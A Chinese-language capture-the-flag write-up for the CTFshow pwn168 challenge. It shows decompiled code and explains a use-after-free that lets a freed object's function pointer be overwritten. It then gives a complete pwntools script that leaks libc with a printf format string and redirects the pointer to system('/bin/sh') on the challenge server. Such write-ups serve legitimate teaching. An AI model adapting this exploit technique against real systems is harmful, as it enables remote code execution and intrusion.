CTFshow-pwn168
[!NOTE]
或许需要爆破
- 远程环境:Ubuntu 16.04
libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11
got 表可改
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn168
[*] '/home/niuyingying/ctf/pwn/pwn168'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
分析程序大致流程
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[1032]; // [rsp+0h] [rbp-410h] BYREF
unsigned __int64 v5; // [rsp+408h] [rbp-8h]
v5 = __readfsqword(0x28u);
init_1(a1, a2, a3);
init_2();
printf("Let's go!");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
if ( !read(0, buf, 0x400u) )
return 1;
if ( strncmp(buf, "create ", 7u) )
break;
create();
}
if ( strncmp(buf, "delete ", 7u) )
break;
delete();
}
if ( !strncmp(buf, "quit ", 5u) )
break;
puts("Invalid cmd");
}
puts("Bye~");
return 0;
}
unsigned __int64 create()
{
int i; // [rsp+4h] [rbp-102Ch]
char *ptr; // [rsp+8h] [rbp-1028h]
char *dest; // [rsp+10h] [rbp-1020h]
size_t nbytes; // [rsp+18h] [rbp-1018h]
size_t nbytesa; // [rsp+18h] [rbp-1018h]
char buf[4104]; // [rsp+20h] [rbp-1010h] BYREF
unsigned __int64 v7; // [rsp+1028h] [rbp-8h]
v7 = __readfsqword(0x28u);
ptr = malloc(0x20u);
printf("Pls give string size:");
nbytes = Read();
if ( nbytes <= 0x1000 )
{
printf("str:");
if ( read(0, buf, nbytes) == -1 )
{
puts("got elf!!");
exit(1);
}
nbytesa = strlen(buf);
if ( nbytesa > 0xF )
{
dest = malloc(nbytesa);
if ( !dest )
{
puts("malloc faild!");
exit(1);
}
strncpy(dest, buf, nbytesa);
*ptr = dest;
*(ptr + 3) = sub_CDB;
}
else
{
strncpy(ptr, buf, nbytesa);
*(ptr + 3) = sub_CC0;
}
*(ptr + 4) = nbytesa;
for ( i = 0; i <= 15; ++i )
{
if ( !*(&unk_2020C0 + 4 * i) )
{
*(&unk_2020C0 + 4 * i) = 1;
*(&unk_2020C0 + 2 * i + 1) = ptr;
printf("The string id is %d\n", i);
break;
}
}
if ( i == 16 )
{
puts("The string list is full");
(*(ptr + 3))(ptr);
}
}
else
{
puts("Invalid size");
free(ptr);
}
return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Pls give me the string id you want to delete\nid:");
v1 = Read();
if ( v1 > 0x10 )
puts("Invalid id");
if ( *(&unk_2020C0 + 2 * v1 + 1) )
{
printf("Are you sure?:");
read(0, buf, 0x100u);
if ( !strncmp(buf, "yes", 3u) )
{
(*(*(&unk_2020C0 + 2 * v1 + 1) + 24LL))(*(&unk_2020C0 + 2 * v1 + 1));
*(&unk_2020C0 + 4 * v1) = 0;
}
}
return __readfsqword(0x28u) ^ v3;
}
发现 delete() 函数只清零了 *(&unk_2020C0 + 4 * v1) ,而没有清零 *(&unk_2020C0 + 2 * v1 + 1) ,因此,存在 UAF 漏洞,由于 nbytesa = strlen(buf) ,所以不适合利用 stdout 泄露 libc
与修改 got 表内容不同的是,这道题的解题思路是修改对象里的函数指针,而不是修改 got 表
首先释放 id1、id0 ,再创建长字符串,让长字符串 buffer 复用 id1 的旧对象 chunk,于是可以改旧对象 +0x18 的函数指针。第一次改成 printf 泄露,第二次改成 system 执行 /bin/sh
这道题我最开始挑选的是 %20$p ,但是一直打不通,所以需要注意一下
leak libc 里的符号地址 -> 可以减 libc.sym
leak ld/栈/堆/其他映射地址 -> 不能随便拿本地运行时距离当远程偏移
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn168')
libc = ELF('./libc-2.23.so')
# io = process('./pwn168')
# io = remote("pwn.challenge.ctf.show", 28128)
# io = gdb.debug('./pwn168', gdbscript='set pagination off\nbreakrva 0x10CB\nbreakrva 0xE42\nc')
def create(text):
io.recvuntil(b"3.quit\n")
io.sendline(b"create ")
io.recvuntil(b"Pls give string size:")
io.sendline(str(len(text) + 1).encode())
io.recvuntil(b"str:")
io.send(text + b"\x00")
def delete(i):
io.recvuntil(b"3.quit\n")
io.sendline(b"delete ")
io.recvuntil(b"Pls give me the string id you want to delete\nid:")
io.sendline(str(i).encode())
io.recvuntil(b"Are you sure?:")
io.sendline(b"yes")
for i in range(0x100):
try:
io = remote("pwn.challenge.ctf.show", 28128)
create(b"a" * 0x10) # 0
create(b"b" * 0x10) # 1
delete(1)
delete(0)
create(b"%22$p.".ljust(0x18, b"c") + p64(elf.plt['printf'])) # b'\xc0\x08\x00\x00\x00\x00\x00\x00'
delete(1)
# 将十六进制字符串转换为 Python 整数
io.recvuntil(b"0x")
leak = int(io.recvuntil(b".", drop=True), 16)
print(hex(leak))
libc_base = leak - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
create(b"a" * 0x10) # 1
create(b"b" * 0x10) # 2
delete(2)
delete(1)
create(b"/bin/sh;".ljust(0x18, b" ") + p64(system_addr))
delete(2)
io.interactive()
break
except EOFError:
try:
io.close()
except:
pass

浙公网安备 33010602011771号